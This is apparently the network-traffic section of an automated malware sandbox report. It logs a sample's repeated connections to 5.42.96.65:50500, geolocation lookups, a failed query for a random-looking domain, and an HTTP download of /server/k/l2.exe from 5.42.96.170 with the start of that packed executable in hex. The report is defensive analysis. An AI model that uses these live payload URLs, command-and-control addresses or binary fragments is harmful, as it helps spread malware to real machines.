May 17, 2024 23:45:19.110260010 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.111567020 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.111603022 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.111649036 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.111841917 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.112649918 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.112683058 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.112713099 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.113905907 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.113939047 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.113960981 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.114026070 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.114058018 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.114278078 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.115958929 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.115993023 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.116024971 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.116055012 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.116058111 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.116075993 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.116091013 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.116323948 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.117585897 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.117621899 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.117655039 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.117680073 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.117687941 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.117749929 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.119291067 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.119324923 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.119358063 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.119389057 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.119390965 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.119424105 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.119437933 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.120187998 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.120222092 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.120245934 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.121052027 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.121087074 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.121151924 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.174233913 CEST	50500	49704	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.174480915 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.241864920 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:19.248094082 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:19.248291969 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:20.258130074 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:20.259269953 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:20.265005112 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:20.485940933 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:20.486176968 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:20.492660046 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:20.893685102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:20.895795107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:22.336193085 CEST	49704	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:23.554261923 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:23.559982061 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:23.929616928 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:23.976876020 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:54.555171013 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:45:54.560251951 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:54.936583996 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:45:54.976916075 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:11.055392981 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:11.068886042 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:11.426037073 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:11.477005959 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:17.492666006 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:17.498856068 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:17.871970892 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:17.914287090 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:20.899120092 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:20.904474974 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:21.268733025 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:21.320575953 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:24.399059057 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:24.406410933 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:24.780267954 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:24.836574078 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:27.836360931 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:27.843957901 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:28.214699984 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:28.258260965 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:31.258279085 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:31.310180902 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:31.649919033 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:31.836289883 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:34.680116892 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:34.690257072 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:35.093031883 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:35.133027077 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:38.137926102 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:38.142942905 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:38.445970058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:46:38.515964031 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:38.633021116 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:38.836139917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:46:39.539304018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:46:40.742511988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:46:41.570607901 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:41.575664043 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:41.968939066 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:42.133018970 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:43.227906942 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:46:45.031735897 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:45.036767960 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:45.396210909 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:45.523777962 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:48.133203030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:46:48.430057049 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:48.435066938 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:48.810275078 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:49.023942947 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:50.304157972 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:50.304311037 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:50.309528112 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:53.336354971 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:53.341407061 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:53.706948042 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:53.820578098 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:56.762166977 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:56.769062996 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:57.127708912 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:46:57.336179018 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:46:57.836694002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:47:01.308119059 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:01.314941883 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:01.674561024 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:01.836175919 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:04.727092028 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:04.735414982 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:05.095596075 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:05.336175919 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:08.135968924 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:08.141001940 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:08.503170967 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:08.633055925 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:11.539444923 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:11.545727015 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:11.909811974 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:12.133070946 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:15.618490934 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:15.623667002 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:15.988419056 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:16.133061886 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:19.023866892 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:19.028976917 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:19.392887115 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:19.523641109 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:22.429984093 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:22.435270071 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:22.811464071 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:22.930013895 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:25.868067026 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:25.873953104 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:26.238032103 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:26.336163998 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:29.292782068 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:29.297835112 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:29.662981987 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:29.836205006 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:32.882703066 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:32.888298035 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:33.258382082 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:33.336231947 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:36.289305925 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:36.296695948 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:36.662405014 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:36.836163044 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:39.695491076 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:39.700495958 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:40.065448046 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:40.132895947 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:43.102893114 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:43.108752966 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:43.473597050 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:43.523529053 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:46.523720980 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:46.529105902 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:46.893469095 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:47.023523092 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:50.866698980 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:50.874927998 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:51.248450041 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:51.335963964 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:54.289252996 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:54.297250032 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:54.663288116 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:54.835956097 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:57.697160006 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:47:57.702601910 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:58.068236113 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:47:58.132824898 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:01.119884014 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:01.125272989 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:01.488549948 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:01.635891914 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:04.523593903 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:04.528748989 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:04.918531895 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:05.023526907 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:07.981942892 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:07.987221003 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:08.348808050 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:08.429754972 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:11.398515940 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:11.404633045 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:11.772589922 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:11.836035967 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:14.823645115 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:14.829195976 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:15.196074009 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:15.335844994 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:18.242228985 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:18.247725010 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:18.635076046 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:18.835803986 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:20.321218014 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:20.322922945 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:20.328226089 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:23.367119074 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:23.372194052 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:23.739342928 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:23.820210934 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:26.773588896 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:26.778589010 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:27.150336981 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:27.335760117 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:30.195394993 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:30.201256037 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:30.559385061 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:30.632636070 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:33.585773945 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:33.593211889 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:33.969329119 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:34.023231983 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:37.023617029 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:37.028964043 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:37.400079012 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:37.523320913 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:40.429677963 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:40.435488939 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:40.809293985 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:41.027515888 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:43.836004019 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:43.842168093 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:44.215333939 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:44.335674047 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:47.259582043 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:47.265101910 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:47.632977962 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:47.835745096 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:50.679439068 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:50.684634924 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:51.055744886 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:51.132617950 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:54.101397991 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:54.106549025 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:54.492599964 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:54.632481098 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:57.538925886 CEST	49714	50500	192.168.2.5	5.42.96.65
May 17, 2024 23:48:57.544209957 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:58.297450066 CEST	50500	49714	5.42.96.65	192.168.2.5
May 17, 2024 23:48:58.523252010 CEST	49714	50500	192.168.2.5	5.42.96.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2024 23:45:02.493062973 CEST	60266	53	192.168.2.5	1.1.1.1
May 17, 2024 23:45:02.500276089 CEST	53	60266	1.1.1.1	192.168.2.5
May 17, 2024 23:45:03.675697088 CEST	60901	53	192.168.2.5	1.1.1.1
May 17, 2024 23:45:03.770749092 CEST	53	60901	1.1.1.1	192.168.2.5
May 17, 2024 23:45:17.505036116 CEST	55501	53	192.168.2.5	1.1.1.1
May 17, 2024 23:45:17.515978098 CEST	53	55501	1.1.1.1	192.168.2.5
May 17, 2024 23:45:31.140155077 CEST	63858	53	192.168.2.5	1.1.1.1
May 17, 2024 23:45:31.150041103 CEST	53	63858	1.1.1.1	192.168.2.5
May 17, 2024 23:45:32.140742064 CEST	53	52447	162.159.36.2	192.168.2.5
May 17, 2024 23:45:32.950365067 CEST	51773	53	192.168.2.5	1.1.1.1
May 17, 2024 23:45:32.998289108 CEST	53	51773	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 17, 2024 23:45:02.493062973 CEST	192.168.2.5	1.1.1.1	0xac3f	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:03.675697088 CEST	192.168.2.5	1.1.1.1	0xf651	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:17.505036116 CEST	192.168.2.5	1.1.1.1	0x6fe6	Standard query (0)	kuljyftgjk.online	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:31.140155077 CEST	192.168.2.5	1.1.1.1	0x6f3b	Standard query (0)	kuljyftgjk.online	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:32.950365067 CEST	192.168.2.5	1.1.1.1	0xfa2	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 17, 2024 23:45:02.500276089 CEST	1.1.1.1	192.168.2.5	0xac3f	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:03.770749092 CEST	1.1.1.1	192.168.2.5	0xf651	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:03.770749092 CEST	1.1.1.1	192.168.2.5	0xf651	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:03.770749092 CEST	1.1.1.1	192.168.2.5	0xf651	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:17.515978098 CEST	1.1.1.1	192.168.2.5	0x6fe6	Name error (3)	kuljyftgjk.online	none	none	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:31.150041103 CEST	1.1.1.1	192.168.2.5	0x6f3b	Name error (3)	kuljyftgjk.online	none	none	A (IP address)	IN (0x0001)	false
May 17, 2024 23:45:32.998289108 CEST	1.1.1.1	192.168.2.5	0xfa2	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

5.42.96.170

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	5.42.96.170	80	4112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
May 17, 2024 23:45:12.975779057 CEST	221	OUT	HEAD /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.96.170 Cache-Control: no-cache
May 17, 2024 23:45:14.157203913 CEST	254	IN	HTTP/1.1 200 OK Date: Fri, 17 May 2024 21:45:13 GMT Server: Apache/2.4.59 (Debian) Last-Modified: Thu, 16 May 2024 16:35:58 GMT ETag: "45a2b8-61894d4759081" Accept-Ranges: bytes Content-Length: 4563640 Content-Type: application/x-msdos-program
May 17, 2024 23:45:14.161366940 CEST	220	OUT	GET /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.96.170 Cache-Control: no-cache
May 17, 2024 23:45:14.552071095 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 17 May 2024 21:45:14 GMT Server: Apache/2.4.59 (Debian) Last-Modified: Thu, 16 May 2024 16:35:58 GMT ETag: "45a2b8-61894d4759081" Accept-Ranges: bytes Content-Length: 4563640 Content-Type: application/x-msdos-program Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|EPw.MPRESS1pw?.MPRESS22w?.rsrc\|w?@v2.19w? oG>Hr9aQ(`.=?!Z&II18Z!Ys[QXaYY)vn\|)^f+>84h82g>hb\E(x@8_94Um's#03O]`S2@#oF~RQqoynOA@\|gF0js/H+ 0C!7s^H, 